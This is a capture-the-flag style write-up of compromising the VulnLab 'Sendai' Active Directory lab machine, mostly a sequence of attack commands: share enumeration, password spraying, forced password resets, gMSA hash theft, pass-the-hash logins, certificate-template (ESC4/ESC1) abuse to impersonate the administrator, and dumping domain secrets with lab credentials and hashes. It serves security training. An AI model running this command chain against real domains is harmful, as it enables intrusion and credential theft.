Post

VulnLab -- Sendai Writeup

Sendai

Hello Friends,

Remo is Back

In this write-up, I’ll walk through how I pwned the Sendai machine from VulnLab. From initial enumeration to gaining root access, I’ll explain the key steps, tools, and techniques used to complete the box.

image.png

Let’s start by scanning the machine.

1
sudo nmap -sC -sV -sS -O -A -oN scanned.txt -p 60301,3268,9389,445,49668,636,593,3269,60270,389,464,80,3389,60319,135,49670,5985 --min-rate=1000 10.10.109.249

image.png

Now let’s enumerate the shares

1
nxc smb sendai.vl -u 'guest' -p '' --shares

image.png

Notice that we have access to 2 shares

So let’s connect to sendai share

1
smbclient \\\\sendai.vl\\sendai -U "sendai.vl\guest"

image.png

As we see we have access to a file named incident.txt

So let’s download the file

1
get incident.txt

image.png

Now let’s see the file content

1
cat incident.txt

image.png

As the message say the pentesters revealed that there was alot of user using weak password and there password is expired and need to be changed on the next login

Now let’s enumerate the users on the domain

1
nxc smb sendai.vl -u 'guest' -p '' --rid-brute 10000

image.png

Now let’s copy the output to a file and extract the users

1
cat results.txt | grep -i SidTypeUser | awk '{print $6}' | cut -d "\\" -f 2 > users.txt

image.png

Now let’s start spraying the users with empty password

1
nxc smb sendai.vl -u users.txt -p '' --continue-on-success

image.png

Notice that we got users that must change there password

So let’s go and change the password of user Elliot.Yates

1
python3 smbpasswd.py -newpass 'remo123$' 'sendai.vl'/'Elliot.Yates':''@'10.10.109.249'

image.png

As we see we changed the user password

So let’s validate the user password

1
nxc smb sendai.vl -u Elliot.Yates -p 'remo123$'

image.png

As we see we now have a valid domain creds

Now let’s go and get a bloodhound

1
bloodhound-python -ns 10.10.109.249 -d sendai.vl -u 'Elliot.Yates' -p 'remo123$' -c all --zip

image.png

Now let’s see our user privilege

image.png

Notice that we have generic all rights to a group named ADMSVC

So let’s go and add ourself to the group

1
bloodyAD --host "10.10.109.249" -d sendai.vl -u 'Elliot.Yates' -p 'remo123$' add groupMember "ADMSVC" "Elliot.Yates"

image.png

Now let’s go and see what ADMSVC group can do

image.png

Notice that the users in ADMSVC group can read the gMSA password of the user MGTSVC$

So let’s go and retrieve the NTLM hash of the user MGTSVC$

1
nxc ldap sendai.vl -u Elliot.Yates -p 'remo123$' --gmsa

image.png

Now let’s go and validate the user Hash

1
nxc smb sendai.vl -u mgtsvc$ -H 'c15a7132cd45d7e342dc14f29b50b54c'

image.png

And we have access to this user!

Now let’s try to login using this user

1
evil-winrm -i sendai.vl -u 'mgtsvc$' -H 'c15a7132cd45d7e342dc14f29b50b54c'

image.png

Now let’s enumerate the shares using this user

1
nxc smb sendai.vl -u mgtsvc$ -H 'c15a7132cd45d7e342dc14f29b50b54c' --shares

image.png

Notice that we have access to the config share

So let’s connect to it

1
smbclient \\\\sendai.vl\\config -U "sendai.vl\mgtsvc$" --pw-nt-hash

image.png

As we see we have access to sqlconfig file

image.png

So let’s download the file

1
get .sqlconfig

image.png

Now let’s see file content

1
cat .sqlconfig

image.png

Notice that we got the password for the account sqlsvc username: sqlsvc password: SurenessBlob85

Now let’s validate the password

1
nxc smb sendai.vl -u 'sqlsvc' -p 'SurenessBlob85'

image.png

As we see we have access to the user sqlsvc

Now let’s go back to the session of mgtsvc$ and try to search for privilege escalation

1
upload PrivescCheck.ps1

image.png

Now let’s run the script

1
2
. .\PrivescCheck.ps1
Invoke-PrivescCheck

image.png

Now let’s see if we can find anything interesting

image.png

Notice that we found a password for a user named clifford.davey username: clifford.davey password: RFmoB2WplgE_3p

Let’s test the new user password

1
nxc smb sendai.vl -u clifford.davey -p 'RFmoB2WplgE_3p'

image.png

As we see the password is working

Now let’s see the new user permissions

image.png

Notice that the user is in CA group

Now let’s go and enumerate the certificate templates

1
certipy-ad find -u clifford.davey@sendai.vl -p RFmoB2WplgE_3p -dc-ip 10.10.109.249

image.png

Now let’s search for any ESC vulnerability

1
cat 20250402193615_Certipy.txt | grep -i ESC

image.png

Notice that we found ESC 4 vulnerable template

Now let’s first make the certificate vulnerable to ESC1

1
certipy-ad template -u clifford.davey -p RFmoB2WplgE_3p -template SendaiComputer -dc-ip 10.10.109.249 -save-old

image.png

Now let’s request the CA and change the UPN to the administrator UPN

1
certipy-ad req -ca 'sendai-DC-CA' -dc-ip '10.10.109.249' -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -template 'SendaiComputer' -target 'dc.sendai.vl' -upn 'administrator@sendai.vl'

image.png

Now let’ authenticate and retrieve the administrator NTLM hash

1
certipy-ad auth -pfx administrator.pfx

image.png

Now let’s go and dump all the domain secrets

1
impacket-secretsdump sendai.vl/'administrator':''@10.10.109.249 -dc-ip 10.10.109.249 -hashes :cfb106feec8b89a3d98e14dcbe8d087a

image.png

Now let’s login using the administrator hash

1
evil-winrm -i sendai.vl -u 'administrator' -H 'cfb106feec8b89a3d98e14dcbe8d087a'

image.png

Now let’s navigate to the administrator desktop and see the flag

1
cd c:\users\administrator\desktop

image.png

Amazing we got the root flag 🥳

image.png

That’s it for the Sendai machine! This challenge was a great test of enumeration and exploitation skills. Hope you found the write-up useful.

Remo

CRTECRTPCRTOeWPTXeCPPTeMAPT
This post is licensed under CC BY 4.0 by the author.